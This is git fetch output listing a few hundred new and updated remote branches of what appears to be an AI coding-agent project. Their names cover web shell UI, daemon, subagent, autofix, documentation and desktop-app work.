* [new branch] codex/revert-glm-tagged-thinking -> codex/revert-glm-tagged-thinking
* [new branch] codex/revert-pr-6873-7025 -> codex/revert-pr-6873-7025
* [new branch] codex/review-cancel-stale-run -> codex/review-cancel-stale-run
* [new branch] codex/review-low-risk-nav -> codex/review-low-risk-nav
* [new branch] codex/review-parallel-dispatch -> codex/review-parallel-dispatch
* [new branch] codex/schedule-dependency-audit-daily -> codex/schedule-dependency-audit-daily
* [new branch] codex/serve-channel-worker-pr2 -> codex/serve-channel-worker-pr2
* [new branch] codex/serve-channel-worker-pr3-hardening-main -> codex/serve-channel-worker-pr3-hardening-main
* [new branch] codex/serve-health-first-runtime -> codex/serve-health-first-runtime
* [new branch] codex/serve-private-extension-network -> codex/serve-private-extension-network
* [new branch] codex/serve-server-final-split -> codex/serve-server-final-split
* [new branch] codex/serve-shim-cleanup -> codex/serve-shim-cleanup
* [new branch] codex/session-media-references-clean -> codex/session-media-references-clean
* [new branch] codex/session-sources-design -> codex/session-sources-design
* [new branch] codex/session-start-profiler -> codex/session-start-profiler
* [new branch] codex/session-workflow-cockpit-demo -> codex/session-workflow-cockpit-demo
* [new branch] codex/session-workflow-gap-audit -> codex/session-workflow-gap-audit
* [new branch] codex/sessionless-daemon-remember -> codex/sessionless-daemon-remember
* [new branch] codex/sessionless-memory-forget-dream -> codex/sessionless-memory-forget-dream
* [new branch] codex/skill-toggle-settings-only -> codex/skill-toggle-settings-only
* [new branch] codex/source-download-header -> codex/source-download-header
* [new branch] codex/source-preview-retry-on-error -> codex/source-preview-retry-on-error
* [new branch] codex/spam-cleanup-five-minute -> codex/spam-cleanup-five-minute
* [new branch] codex/stabilize-bom-read-integration -> codex/stabilize-bom-read-integration
* [new branch] codex/stabilize-enhanced-table-controls -> codex/stabilize-enhanced-table-controls
* [new branch] codex/stop-closed-pr-review -> codex/stop-closed-pr-review
* [new branch] codex/subagent-result-tags -> codex/subagent-result-tags
* [new branch] codex/subagent-session-ready -> codex/subagent-session-ready
* [new branch] codex/suppress-otel-ui-diagnostics -> codex/suppress-otel-ui-diagnostics
* [new branch] codex/terminal-selection-light-theme -> codex/terminal-selection-light-theme
* [new branch] codex/test-feishu-chunk-limit-20260720-1658 -> codex/test-feishu-chunk-limit-20260720-1658
* [new branch] codex/test-weixin-media-parse-key-20260720-1658 -> codex/test-weixin-media-parse-key-20260720-1658
* [new branch] codex/timeline-scheduled-task-ui -> codex/timeline-scheduled-task-ui
* [new branch] codex/triage-eyes-ack -> codex/triage-eyes-ack
2058c43c1c..242f4b5e10 codex/tui-streaming-clear-storm -> codex/tui-streaming-clear-storm
* [new branch] codex/update-hk-runner-matrix -> codex/update-hk-runner-matrix
* [new branch] codex/usage-statistics-env-override -> codex/usage-statistics-env-override
* [new branch] codex/use-windows-ecs-runner -> codex/use-windows-ecs-runner
* [new branch] codex/verify-pr -> codex/verify-pr
* [new branch] codex/verify-windows-ci-6071 -> codex/verify-windows-ci-6071
* [new branch] codex/vscode-web-shell-cutover -> codex/vscode-web-shell-cutover
* [new branch] codex/vscode-webshell-diff-approval -> codex/vscode-webshell-diff-approval
* [new branch] codex/web-shell-advanced-table-preview -> codex/web-shell-advanced-table-preview
* [new branch] codex/web-shell-artifact-download -> codex/web-shell-artifact-download
* [new branch] codex/web-shell-artifact-icons-main -> codex/web-shell-artifact-icons-main
* [new branch] codex/web-shell-attachment-style -> codex/web-shell-attachment-style
* [new branch] codex/web-shell-background-collapse -> codex/web-shell-background-collapse
* [new branch] codex/web-shell-cancel-duration -> codex/web-shell-cancel-duration
* [new branch] codex/web-shell-compact-thinking -> codex/web-shell-compact-thinking
* [new branch] codex/web-shell-compact-tool-activity -> codex/web-shell-compact-tool-activity
* [new branch] codex/web-shell-composer-context -> codex/web-shell-composer-context
* [new branch] codex/web-shell-demand-driven-metadata -> codex/web-shell-demand-driven-metadata
* [new branch] codex/web-shell-drop-upload-or-reference -> codex/web-shell-drop-upload-or-reference
* [new branch] codex/web-shell-extension-archive-upload -> codex/web-shell-extension-archive-upload
* [new branch] codex/web-shell-hide-composer-on-approval -> codex/web-shell-hide-composer-on-approval
* [new branch] codex/web-shell-input-animation -> codex/web-shell-input-animation
* [new branch] codex/web-shell-mobile-markdown-table -> codex/web-shell-mobile-markdown-table
* [new branch] codex/web-shell-model-configuration -> codex/web-shell-model-configuration
* [new branch] codex/web-shell-preview-history -> codex/web-shell-preview-history
* [new branch] codex/web-shell-question-message -> codex/web-shell-question-message
* [new branch] codex/web-shell-session-continue -> codex/web-shell-session-continue
* [new branch] codex/web-shell-session-overview -> codex/web-shell-session-overview
* [new branch] codex/web-shell-shell-explain -> codex/web-shell-shell-explain
* [new branch] codex/web-shell-sidebar-context -> codex/web-shell-sidebar-context
* [new branch] codex/web-shell-sidebar-footer-overflow -> codex/web-shell-sidebar-footer-overflow
* [new branch] codex/web-shell-sidebar-improvements -> codex/web-shell-sidebar-improvements
* [new branch] codex/web-shell-sidebar-session-details -> codex/web-shell-sidebar-session-details
* [new branch] codex/web-shell-split-usability -> codex/web-shell-split-usability
* [new branch] codex/web-shell-turn-timeline -> codex/web-shell-turn-timeline
* [new branch] codex/web-shell-visible-paste-text -> codex/web-shell-visible-paste-text
* [new branch] codex/web-shell-voice-hold-mode -> codex/web-shell-voice-hold-mode
* [new branch] codex/webshell-agent-tasks-change -> codex/webshell-agent-tasks-change
* [new branch] codex/webshell-qwen38-max-reasoning-options -> codex/webshell-qwen38-max-reasoning-options
* [new branch] codex/webshell-qwen38-reasoning-config -> codex/webshell-qwen38-reasoning-config
* [new branch] codex/webshell-session-artifacts-props -> codex/webshell-session-artifacts-props
* [new branch] codex/windows-bundled-conpty-regressions -> codex/windows-bundled-conpty-regressions
* [new branch] codex/windows-pr-review-runner -> codex/windows-pr-review-runner
* [new branch] codex/workspace-memory-task-error-details -> codex/workspace-memory-task-error-details
* [new branch] codex/workspace-runtime-extensions -> codex/workspace-runtime-extensions
* [new branch] codex/workspace-runtime-foundation -> codex/workspace-runtime-foundation
* [new branch] codex/workspace-runtime-management-pages -> codex/workspace-runtime-management-pages
* [new branch] codex/workspace-runtime-mcp -> codex/workspace-runtime-mcp
* [new branch] codex/workspace-runtime-sdk -> codex/workspace-runtime-sdk
* [new branch] codex/workspace-runtime-serve -> codex/workspace-runtime-serve
* [new branch] codex/workspace-runtime-skills -> codex/workspace-runtime-skills
* [new branch] codex/workspace-runtime-webui -> codex/workspace-runtime-webui
* [new branch] codex/workspace-skills-installed-path -> codex/workspace-skills-installed-path
* [new branch] copilot/bug-openai-non-sse-200-response -> copilot/bug-openai-non-sse-200-response
* [new branch] copilot/check-duplicate-issues-4226-4217 -> copilot/check-duplicate-issues-4226-4217
* [new branch] copilot/feature-user-dashboard -> copilot/feature-user-dashboard
* [new branch] copilot/fix-bot-hallucination-policy -> copilot/fix-bot-hallucination-policy
* [new branch] copilot/fix-e2e-tests-main-ci-failure -> copilot/fix-e2e-tests-main-ci-failure
* [new branch] copilot/fix-failing-github-actions-job -> copilot/fix-failing-github-actions-job
* [new branch] copilot/fix-failing-github-actions-job-again -> copilot/fix-failing-github-actions-job-again
* [new branch] copilot/fix-integration-tests-docker -> copilot/fix-integration-tests-docker
* [new branch] copilot/fix-release-failure-integration-docker -> copilot/fix-release-failure-integration-docker
* [new branch] copilot/fix-vscode-ide-companion-release -> copilot/fix-vscode-ide-companion-release
* [new branch] copilot/review-4130-agents-md -> copilot/review-4130-agents-md
* [new branch] cx/6849-sanitize-standalone-think-tag -> cx/6849-sanitize-standalone-think-tag
* [new branch] cx/6988-routing-completion -> cx/6988-routing-completion
* [new branch] cx/6988-visual-context -> cx/6988-visual-context
* [new branch] cx/8299-permission-control-fake-server -> cx/8299-permission-control-fake-server
* [new branch] cx/8299-pr-e2e-gate -> cx/8299-pr-e2e-gate
* [new branch] cx/8299-sdk-e2e-hotspots -> cx/8299-sdk-e2e-hotspots
* [new branch] cx/8718-native-coordinate -> cx/8718-native-coordinate
* [new branch] cx/8718-read-only-coordinator -> cx/8718-read-only-coordinator
* [new branch] cx/9437-classifier-followups -> cx/9437-classifier-followups
* [new branch] cx/9437-rewind-stable-identity -> cx/9437-rewind-stable-identity
* [new branch] cx/9437-rewind-stable-identity-main -> cx/9437-rewind-stable-identity-main
* [new branch] cx/9437-unify-user-prompt-classifier -> cx/9437-unify-user-prompt-classifier
* [new branch] cx/ci-failure-patrol -> cx/ci-failure-patrol
* [new branch] cx/desktop-icon-padding -> cx/desktop-icon-padding
* [new branch] cx/desktop-oss-mirror -> cx/desktop-oss-mirror
* [new branch] cx/desktop-release-hardening -> cx/desktop-release-hardening
* [new branch] cx/desktop-sidebar-scrollbar-test -> cx/desktop-sidebar-scrollbar-test
* [new branch] cx/electron-tauri-cross-platform-bridge -> cx/electron-tauri-cross-platform-bridge
* [new branch] cx/feat-6988-full-turn-multimodal -> cx/feat-6988-full-turn-multimodal
* [new branch] cx/fix-3030-webui-followup -> cx/fix-3030-webui-followup
* [new branch] cx/fix-3092-windows-acp -> cx/fix-3092-windows-acp
* [new branch] cx/fix-7270-tokenplan-side-query-thinking -> cx/fix-7270-tokenplan-side-query-thinking
* [new branch] cx/fix-acp-at-image-path -> cx/fix-acp-at-image-path
* [new branch] cx/fix-background-auto-update -> cx/fix-background-auto-update
* [new branch] cx/fix-ecs-qwen-update-prefix -> cx/fix-ecs-qwen-update-prefix
* [new branch] cx/fix-image-payload-isolation -> cx/fix-image-payload-isolation
* [new branch] cx/fix-immediate-auto-update-relaunch -> cx/fix-immediate-auto-update-relaunch
* [new branch] cx/fix-linter-download-flake -> cx/fix-linter-download-flake
* [new branch] cx/fix-main-e2e-6796-6773 -> cx/fix-main-e2e-6796-6773
* [new branch] cx/fix-sdk-release-noop-pr -> cx/fix-sdk-release-noop-pr
* [new branch] cx/fix-spam-comment-token -> cx/fix-spam-comment-token
* [new branch] cx/fix-toolapproval-zh-cn-test -> cx/fix-toolapproval-zh-cn-test
* [new branch] cx/fix-vscode-image-picker-reference -> cx/fix-vscode-image-picker-reference
* [new branch] cx/fix-windows-test-compat -> cx/fix-windows-test-compat
* [new branch] cx/hk-runner-ci-2 -> cx/hk-runner-ci-2
* [new branch] cx/hk-runner-smoke -> cx/hk-runner-smoke
* [new branch] cx/isolate-self-hosted-temp -> cx/isolate-self-hosted-temp
* [new branch] cx/issue-3957-pr-intake -> cx/issue-3957-pr-intake
* [new branch] cx/issue-4786-triage-consolidation -> cx/issue-4786-triage-consolidation
* [new branch] cx/issue-8328-todo-compat -> cx/issue-8328-todo-compat
* [new branch] cx/minimize-inline-spam-comments -> cx/minimize-inline-spam-comments
* [new branch] cx/native-multi-agent-collaboration-plan -> cx/native-multi-agent-collaboration-plan
* [new branch] cx/release-notes-parallel -> cx/release-notes-parallel
* [new branch] cx/test-runner-validation -> cx/test-runner-validation
* [new branch] cx/test-runtime-env-isolation -> cx/test-runtime-env-isolation
* [new branch] cx/update-ecs-runner-qwen -> cx/update-ecs-runner-qwen
* [new branch] cx/validate-6856-manual-dispatch -> cx/validate-6856-manual-dispatch
* [new branch] cx/windows-runner-smoke -> cx/windows-runner-smoke
* [new branch] daemon_mode_b_main -> daemon_mode_b_main
* [new branch] demo-assets-workflow-port -> demo-assets-workflow-port
* [new branch] desktop/hide-add-source-button -> desktop/hide-add-source-button
ae12e81692..4bde090ead docs-update-by-joeytoday -> docs-update-by-joeytoday
* [new branch] docs/11314-no-web-scope-accuracy -> docs/11314-no-web-scope-accuracy
* [new branch] docs/9152-architecture-invariant-classification -> docs/9152-architecture-invariant-classification
* [new branch] docs/add-sessions-list-command -> docs/add-sessions-list-command
* [new branch] docs/agents-drop-mandatory-review-step -> docs/agents-drop-mandatory-review-step
* [new branch] docs/agents-working-principles -> docs/agents-working-principles
* [new branch] docs/audit-documentation-consistency -> docs/audit-documentation-consistency
* [new branch] docs/audit-refresh-cli-keybindings-settings -> docs/audit-refresh-cli-keybindings-settings
* [new branch] docs/audit-refresh-config-command -> docs/audit-refresh-config-command
* [new branch] docs/audit-refresh-config-drift -> docs/audit-refresh-config-drift
* [new branch] docs/audit-refresh-mcp-glob-settings -> docs/audit-refresh-mcp-glob-settings
* [new branch] docs/audit-refresh-model-auth-flags -> docs/audit-refresh-model-auth-flags
* [new branch] docs/audit-refresh-pretooluse-ask -> docs/audit-refresh-pretooluse-ask
* [new branch] docs/audit-refresh-qc-helper-index -> docs/audit-refresh-qc-helper-index
* [new branch] docs/audit-refresh-settings-drift -> docs/audit-refresh-settings-drift
* [new branch] docs/audit-refresh-skills-channels -> docs/audit-refresh-skills-channels
* [new branch] docs/audit-refresh-vertex-ai-commands -> docs/audit-refresh-vertex-ai-commands
* [new branch] docs/audit-refresh-wecom-channel -> docs/audit-refresh-wecom-channel
* [new branch] docs/autofix-bilingual-comments -> docs/autofix-bilingual-comments
* [new branch] docs/autofix-gate-isolation-9089 -> docs/autofix-gate-isolation-9089
* [new branch] docs/autofix-gate-isolation-followup -> docs/autofix-gate-isolation-followup
* [new branch] docs/autofix-resolve-already-fixed -> docs/autofix-resolve-already-fixed
* [new branch] docs/autofix-round-seed -> docs/autofix-round-seed
* [new branch] docs/background-agent-surfaces -> docs/background-agent-surfaces
* [new branch] docs/banner-settings-table -> docs/banner-settings-table
* [new branch] docs/cap-pr-scope-after-review-rounds -> docs/cap-pr-scope-after-review-rounds
* [new branch] docs/claude-md-point-to-agents-md -> docs/claude-md-point-to-agents-md
* [new branch] docs/consolidate-design-and-plans -> docs/consolidate-design-and-plans
* [new branch] docs/daemon-developer-deep-dive -> docs/daemon-developer-deep-dive
* [new branch] docs/daemon-refresh-wave2 -> docs/daemon-refresh-wave2
* [new branch] docs/daemon-sidechannel-coordination-design -> docs/daemon-sidechannel-coordination-design
* [new branch] docs/design/daemon-transport-abstraction -> docs/design/daemon-transport-abstraction
* [new branch] docs/ecs-pool-has-docker -> docs/ecs-pool-has-docker
* [new branch] docs/issue-8678-selective-session-restore-design -> docs/issue-8678-selective-session-restore-design
* [new branch] docs/json-schema-structured-output -> docs/json-schema-structured-output
* [new branch] docs/legacy-code-audit -> docs/legacy-code-audit
* [new branch] docs/opentui-batch-status -> docs/opentui-batch-status
* [new branch] docs/peer-session-collaboration -> docs/peer-session-collaboration
* [new branch] docs/project-level-extensions-design -> docs/project-level-extensions-design
* [new branch] docs/readme-revamp -> docs/readme-revamp
* [new branch] docs/refresh-channel-guides -> docs/refresh-channel-guides
* [new branch] docs/refresh-config-command-auth-drift -> docs/refresh-config-command-auth-drift
* [new branch] docs/rest-integration-guide -> docs/rest-integration-guide
* [new branch] docs/round-seed-whitespace-fix -> docs/round-seed-whitespace-fix
* [new branch] docs/self-audit-before-done -> docs/self-audit-before-done
* [new branch] docs/swe-bench-version-scores -> docs/swe-bench-version-scores
* [new branch] docs/test-suite-barrel-cost -> docs/test-suite-barrel-cost
* [new branch] docs/todo-dependency-gating -> docs/todo-dependency-gating
* [new branch] docs/unhide-examples-nav -> docs/unhide-examples-nav
* [new branch] docs/update-feishu-channel -> docs/update-feishu-channel
* [new branch] docs/update-telemetry-documentation -> docs/update-telemetry-documentation
* [new branch] docs/wecom-robot-setup -> docs/wecom-robot-setup
* [new branch] dragon/add-desktop-readme-link -> dragon/add-desktop-readme-link
* [new branch] dragon/add-subagent-fork-turns -> dragon/add-subagent-fork-turns
* [new branch] dragon/add-worktree-ownership-prompt -> dragon/add-worktree-ownership-prompt
* [new branch] dragon/align-planning-output-prompts -> dragon/align-planning-output-prompts
* [new branch] dragon/allow-unsigned-windows-updates -> dragon/allow-unsigned-windows-updates
* [new branch] dragon/anthropic-static-prefix-cache-breakpoint -> dragon/anthropic-static-prefix-cache-breakpoint
* [new branch] dragon/architecture-governance -> dragon/architecture-governance
* [new branch] dragon/background-agent-hot-continuation -> dragon/background-agent-hot-continuation
* [new branch] dragon/config-dialog-tabs -> dragon/config-dialog-tabs
* [new branch] dragon/default-background-subagents -> dragon/default-background-subagents
* [new branch] dragon/desktop-build-optimize -> dragon/desktop-build-optimize
* [new branch] dragon/docs-add-desktop-build-guide -> dragon/docs-add-desktop-build-guide
* [new branch] dragon/docs-audit-fix -> dragon/docs-audit-fix
* [new branch] dragon/docs-audit-june15 -> dragon/docs-audit-june15
* [new branch] dragon/docs-audit-refresh -> dragon/docs-audit-refresh
* [new branch] dragon/effort-drop-completion -> dragon/effort-drop-completion
* [new branch] dragon/expose-agent-execution-mode -> dragon/expose-agent-execution-mode
* [new branch] dragon/extract-web-shell-contexts -> dragon/extract-web-shell-contexts
* [new branch] dragon/feat-self-improve -> dragon/feat-self-improve
179df182a3..9f2d508104 dragon/feat-unstable-desktop-app -> dragon/feat-unstable-desktop-app
* [new branch] dragon/feat-unstable-desktop-app-core-pr -> dragon/feat-unstable-desktop-app-core-pr
* [new branch] dragon/feat-unstable-desktop-core-pr -> dragon/feat-unstable-desktop-core-pr
* [new branch] dragon/fix-7348-headless-fork -> dragon/fix-7348-headless-fork
* [new branch] dragon/fix-7450-revive-completed-subagent -> dragon/fix-7450-revive-completed-subagent
* [new branch] dragon/fix-7835-fork-interaction -> dragon/fix-7835-fork-interaction
* [new branch] dragon/fix-ask-user-question-input-scroll -> dragon/fix-ask-user-question-input-scroll
* [new branch] dragon/fix-desktop-release-notes -> dragon/fix-desktop-release-notes
* [new branch] dragon/fix-desktop-update-feed -> dragon/fix-desktop-update-feed
* [new branch] dragon/fix-docs-drift-audit -> dragon/fix-docs-drift-audit
* [new branch] dragon/fix-docs-models-and-dev-docs -> dragon/fix-docs-models-and-dev-docs
* [new branch] dragon/fix-headless-interaction-tools -> dragon/fix-headless-interaction-tools
* [new branch] dragon/fix-prompt-tool-examples -> dragon/fix-prompt-tool-examples
* [new branch] dragon/improve-subagent-continuation-guidance -> dragon/improve-subagent-continuation-guidance
* [new branch] dragon/investigate-7421 -> dragon/investigate-7421
* [new branch] dragon/issue-8101-nonblocking-commands -> dragon/issue-8101-nonblocking-commands
* [new branch] dragon/mcp-structured-output-20260906 -> dragon/mcp-structured-output-20260906
* [new branch] dragon/mode-aware-system-prompt -> dragon/mode-aware-system-prompt
* [new branch] dragon/model-modality-api -> dragon/model-modality-api
* [new branch] dragon/narrow-acp-bridge-capability -> dragon/narrow-acp-bridge-capability
* [new branch] dragon/persist-subagent-usage -> dragon/persist-subagent-usage
* [new branch] dragon/reduce-config-runtime-coupling -> dragon/reduce-config-runtime-coupling
* [new branch] dragon/release-benchmark -> dragon/release-benchmark
* [new branch] dragon/restore-background-agent-roster -> dragon/restore-background-agent-roster
* [new branch] dragon/reuse-trusted-workspace-runtime -> dragon/reuse-trusted-workspace-runtime
* [new branch] dragon/reuse-web-shell-todo-parser -> dragon/reuse-web-shell-todo-parser
* [new branch] dragon/sdk-canusetool-timeout -> dragon/sdk-canusetool-timeout
* [new branch] dragon/sdk-copy-cli-chunks -> dragon/sdk-copy-cli-chunks
* [new branch] dragon/stable-desktop-latest-feed -> dragon/stable-desktop-latest-feed
* [new branch] dragon/subagent-idle-runtime -> dragon/subagent-idle-runtime
* [new branch] dragon/subagent-session-restore -> dragon/subagent-session-restore
* [new branch] dragon/sync-main-to-desktop -> dragon/sync-main-to-desktop
* [new branch] dragon/system-prompt-assembler -> dragon/system-prompt-assembler
* [new branch] dragon/system-prompt-tiers -> dragon/system-prompt-tiers
* [new branch] dragon/token-plan-cache-control -> dragon/token-plan-cache-control
* [new branch] dragon/toolsearch-preload-threshold -> dragon/toolsearch-preload-threshold
* [new branch] dragon/tui-mouse-interactions -> dragon/tui-mouse-interactions
* [new branch] dragon/unified-reasoning-effort -> dragon/unified-reasoning-effort
* [new branch] dragon/update-desktop-brand-builder-main -> dragon/update-desktop-brand-builder-main
* [new branch] dragon/vibe-idea-0001-delegation-guardrails -> dragon/vibe-idea-0001-delegation-guardrails
* [new branch] e2e/build-once-share-artifact -> e2e/build-once-share-artifact
* [new branch] ecs-update-add-hk -> ecs-update-add-hk
* [new branch] evidence/pr-8098 -> evidence/pr-8098
* [new branch] f2-cleanup-pr-a -> f2-cleanup-pr-a
* [new branch] feat-serve-mutation-gate-require-auth -> feat-serve-mutation-gate-require-auth
* [new branch] feat/11478-split-export-transcript-css -> feat/11478-split-export-transcript-css
* [new branch] feat/3696-hot-reload -> feat/3696-hot-reload
* [new branch] feat/4362-autofix-controls -> feat/4362-autofix-controls
* [new branch] feat/5570-vscode-release-trigger -> feat/5570-vscode-release-trigger
* [new branch] feat/7411-triage-only-route -> feat/7411-triage-only-route
* [new branch] feat/8737-shared-chrome-bridge -> feat/8737-shared-chrome-bridge
* [new branch] feat/8916-degraded-placeholder-defense -> feat/8916-degraded-placeholder-defense
* [new branch] feat/9024-skill-toggle-mutation-metadata -> feat/9024-skill-toggle-mutation-metadata
* [new branch] feat/acp-bridge-core-pr22b -> feat/acp-bridge-core-pr22b
* [new branch] feat/acp-bridge-options-pr22b2 -> feat/acp-bridge-options-pr22b2
* [new branch] feat/acp-bridge-skeleton-pr22a -> feat/acp-bridge-skeleton-pr22a
* [new branch] feat/acp-rest-parity-wave2 -> feat/acp-rest-parity-wave2
* [new branch] feat/add-aritifact-interface -> feat/add-aritifact-interface
* [new branch] feat/add-qwen3.8-max-preview-7198 -> feat/add-qwen3.8-max-preview-7198
4cb90a794e..c9307c6eb2 feat/add-simplify-skill -> feat/add-simplify-skill
* [new branch] feat/advisor-command -> feat/advisor-command
* [new branch] feat/agent-mesh -> feat/agent-mesh
34f7831a36..edade76046 feat/agent-team -> feat/agent-team
* [new branch] feat/agent-view-bg-dispatch -> feat/agent-view-bg-dispatch
* [new branch] feat/agent-view-first-consumer -> feat/agent-view-first-consumer
* [new branch] feat/agent-view-session-control -> feat/agent-view-session-control
* [new branch] feat/alicloudapi-metadata -> feat/alicloudapi-metadata
* [new branch] feat/anthropic-proxy-compat-and-cache-scope -> feat/anthropic-proxy-compat-and-cache-scope
* [new branch] feat/api-key-provider-registry -> feat/api-key-provider-registry
* [new branch] feat/audit-command -> feat/audit-command
* [new branch] feat/audit-fallback-dir -> feat/audit-fallback-dir
* [new branch] feat/auto-request-pr-reviewer -> feat/auto-request-pr-reviewer
* [new branch] feat/autofix-convergence-breaker -> feat/autofix-convergence-breaker
* [new branch] feat/autofix-e2e-verification -> feat/autofix-e2e-verification
* [new branch] feat/autofix-fork-review-bridge -> feat/autofix-fork-review-bridge
* [new branch] feat/autofix-generated-artifact-loop -> feat/autofix-generated-artifact-loop
* [new branch] feat/autofix-review-loop-all-bot-prs -> feat/autofix-review-loop-all-bot-prs
* [new branch] feat/autofix-scan-idle-backoff -> feat/autofix-scan-idle-backoff
* [new branch] feat/autofix-split-publish-9089 -> feat/autofix-split-publish-9089
* [new branch] feat/autofix-takeover-milestone -> feat/autofix-takeover-milestone
* [new branch] feat/autofix-takeover-round-seed -> feat/autofix-takeover-round-seed
* [new branch] feat/autofix-targeted-e2e-proof -> feat/autofix-targeted-e2e-proof
* [new branch] feat/autofix-verify-baseline -> feat/autofix-verify-baseline
* [new branch] feat/benchmark-release-pipeline -> feat/benchmark-release-pipeline
* [new branch] feat/benchmark-release-pipeline-final -> feat/benchmark-release-pipeline-final
* [new branch] feat/benchmark-results-display -> feat/benchmark-results-display
* [new branch] feat/benchmark-service-poc -> feat/benchmark-service-poc
* [new branch] feat/bundle-split-lowlight -> feat/bundle-split-lowlight
* [new branch] feat/channel-bridge-list-sessions -> feat/channel-bridge-list-sessions
* [new branch] feat/channel-daemon-wireup-draft -> feat/channel-daemon-wireup-draft
* [new branch] feat/channel-session-rotation -> feat/channel-session-rotation
* [new branch] feat/channel-web-daemon-adapter-draft -> feat/channel-web-daemon-adapter-draft
* [new branch] feat/chrome-extension-daemon-direct -> feat/chrome-extension-daemon-direct
* [new branch] feat/classify-all-shell -> feat/classify-all-shell
+ c0a6307dbf...8a62d9a6ee feat/clear-multi-mode -> feat/clear-multi-mode (forced update)
* [new branch] feat/client-filesystem-bridge -> feat/client-filesystem-bridge
* [new branch] feat/codeowners-core-harness -> feat/codeowners-core-harness
f531924167..1e7c97fcdb feat/commit-attribution -> feat/commit-attribution
* [new branch] feat/compress-fast -> feat/compress-fast
* [new branch] feat/config-slash-command -> feat/config-slash-command
* [new branch] feat/continue-interrupted-turn -> feat/continue-interrupted-turn
* [new branch] feat/copy-command-better-hint -> feat/copy-command-better-hint
* [new branch] feat/copy-message-index -> feat/copy-message-index
* [new branch] feat/core-review-router -> feat/core-review-router
* [new branch] feat/custom-skill-dirs-7394 -> feat/custom-skill-dirs-7394
* [new branch] feat/daemon-api-health-metrics -> feat/daemon-api-health-metrics
* [new branch] feat/daemon-background-agents -> feat/daemon-background-agents
* [new branch] feat/daemon-client-identity -> feat/daemon-client-identity
* [new branch] feat/daemon-event-schema-v1 -> feat/daemon-event-schema-v1
* [new branch] feat/daemon-git-worktree-guard -> feat/daemon-git-worktree-guard
* [new branch] feat/daemon-in-session-model-update -> feat/daemon-in-session-model-update
* [new branch] feat/daemon-loadtest-harness -> feat/daemon-loadtest-harness
* [new branch] feat/daemon-otel-e2e-design -> feat/daemon-otel-e2e-design
* [new branch] feat/daemon-permission-voter-clientid -> feat/daemon-permission-voter-clientid
* [new branch] feat/daemon-react-cli-rebase -> feat/daemon-react-cli-rebase
* [new branch] feat/daemon-session-client -> feat/daemon-session-client
* [new branch] feat/daemon-session-client-hardening -> feat/daemon-session-client-hardening
* [new branch] feat/daemon-session-stats-export -> feat/daemon-session-stats-export
* [new branch] feat/daemon-status-activity-fields -> feat/daemon-status-activity-fields
* [new branch] feat/daemon-transport-abstraction -> feat/daemon-transport-abstraction
* [new branch] feat/daemon-workspace-settings -> feat/daemon-workspace-settings
* [new branch] feat/daemon_analyze -> feat/daemon_analyze
* [new branch] feat/dashscope-default-preserve-thinking -> feat/dashscope-default-preserve-thinking
* [new branch] feat/decouple-remember-from-auto-extract -> feat/decouple-remember-from-auto-extract
* [new branch] feat/deepseek-reasoning-max -> feat/deepseek-reasoning-max
* [new branch] feat/default-auto-approval-mode -> feat/default-auto-approval-mode
* [new branch] feat/defer-low-frequency-builtin-tools -> feat/defer-low-frequency-builtin-tools
* [new branch] feat/desktop-brand-assets-car -> feat/desktop-brand-assets-car
* [new branch] feat/desktop-deprecate-electron-rename-shell -> feat/desktop-deprecate-electron-rename-shell
* [new branch] feat/desktop-file-preview-side-panel -> feat/desktop-file-preview-side-panel
* [new branch] feat/desktop-shell-brand-builder -> feat/desktop-shell-brand-builder
* [new branch] feat/destructive-command-guards -> feat/destructive-command-guards
* [new branch] feat/doctor-tool-result-retention -> feat/doctor-tool-result-retention
* [new branch] feat/dream-bg-task -> feat/dream-bg-task
* [new branch] feat/e2e/benchmark-vitest-forks -> feat/e2e/benchmark-vitest-forks
* [new branch] feat/e2e/fix-container-cleanup -> feat/e2e/fix-container-cleanup
* [new branch] feat/e2e/fix-main-e2e-flakes -> feat/e2e/fix-main-e2e-flakes
* [new branch] feat/e2e/fix-mcp-tool-search-message-flow -> feat/e2e/fix-mcp-tool-search-message-flow
303b6b7d4a..70f7223e0d feat/edit-write-prior-read -> feat/edit-write-prior-read
* [new branch] feat/enterprise-memory-gateway -> feat/enterprise-memory-gateway
* [new branch] feat/export-light-theme-3678 -> feat/export-light-theme-3678
* [new branch] feat/extension-i18n -> feat/extension-i18n
* [new branch] feat/external-context-mem0-provider -> feat/external-context-mem0-provider
* [new branch] feat/f1-acp-bridge-self-sufficiency -> feat/f1-acp-bridge-self-sufficiency
* [new branch] feat/f3-permission-mediator -> feat/f3-permission-mediator
* [new branch] feat/fake-model-responses -> feat/fake-model-responses
* [new branch] feat/fast-only-model-flag -> feat/fast-only-model-flag
* [new branch] feat/feedback-dialog-any-auth -> feat/feedback-dialog-any-auth
* [new branch] feat/file-history-rewind -> feat/file-history-rewind
* [new branch] feat/file-history-snapshot-persistence -> feat/file-history-snapshot-persistence
* [new branch] feat/first-screen-performance-optimization -> feat/first-screen-performance-optimization
* [new branch] feat/footer-default-mode-badge-6496 -> feat/footer-default-mode-badge-6496
* [new branch] feat/foreground-task-retention -> feat/foreground-task-retention
* [new branch] feat/gate-port-8765 -> feat/gate-port-8765
* [new branch] feat/git-manage-remotes -> feat/git-manage-remotes
* [new branch] feat/github-channel-local-gh-auth -> feat/github-channel-local-gh-auth
* [new branch] feat/herdr-reporter -> feat/herdr-reporter
* [new branch] feat/hook-agent-hook -> feat/hook-agent-hook
* [new branch] feat/hooks-inject-background-tasks-crons -> feat/hooks-inject-background-tasks-crons
* [new branch] feat/ide-daemon-full-wireup-draft -> feat/ide-daemon-full-wireup-draft
* [new branch] feat/ide-daemon-wireup-draft -> feat/ide-daemon-wireup-draft
* [new branch] feat/ide-mode-rewind-warning -> feat/ide-mode-rewind-warning
* [new branch] feat/idealab-provider -> feat/idealab-provider
* [new branch] feat/inline-agent-tree -> feat/inline-agent-tree
* [new branch] feat/inline-parallel-agents-display -> feat/inline-parallel-agents-display
* [new branch] feat/instructions-loaded-hook -> feat/instructions-loaded-hook
* [new branch] feat/issue-1766 -> feat/issue-1766
* [new branch] feat/issue-4000-commit-redesign -> feat/issue-4000-commit-redesign
* [new branch] feat/issue-5176 -> feat/issue-5176
* [new branch] feat/issue-5634 -> feat/issue-5634
* [new branch] feat/issue-6419 -> feat/issue-6419
* [new branch] feat/issue-6762-unskill -> feat/issue-6762-unskill
* [new branch] feat/issue-8660-telemetry-attribution -> feat/issue-8660-telemetry-attribution
21e986f1a7..e80014a65d feat/json-schema-structured-output -> feat/json-schema-structured-output
* [new branch] feat/legacy-code-audit -> feat/legacy-code-audit
* [new branch] feat/mcp-capability-discovery-retry -> feat/mcp-capability-discovery-retry
* [new branch] feat/mcp-discovery-retry -> feat/mcp-discovery-retry
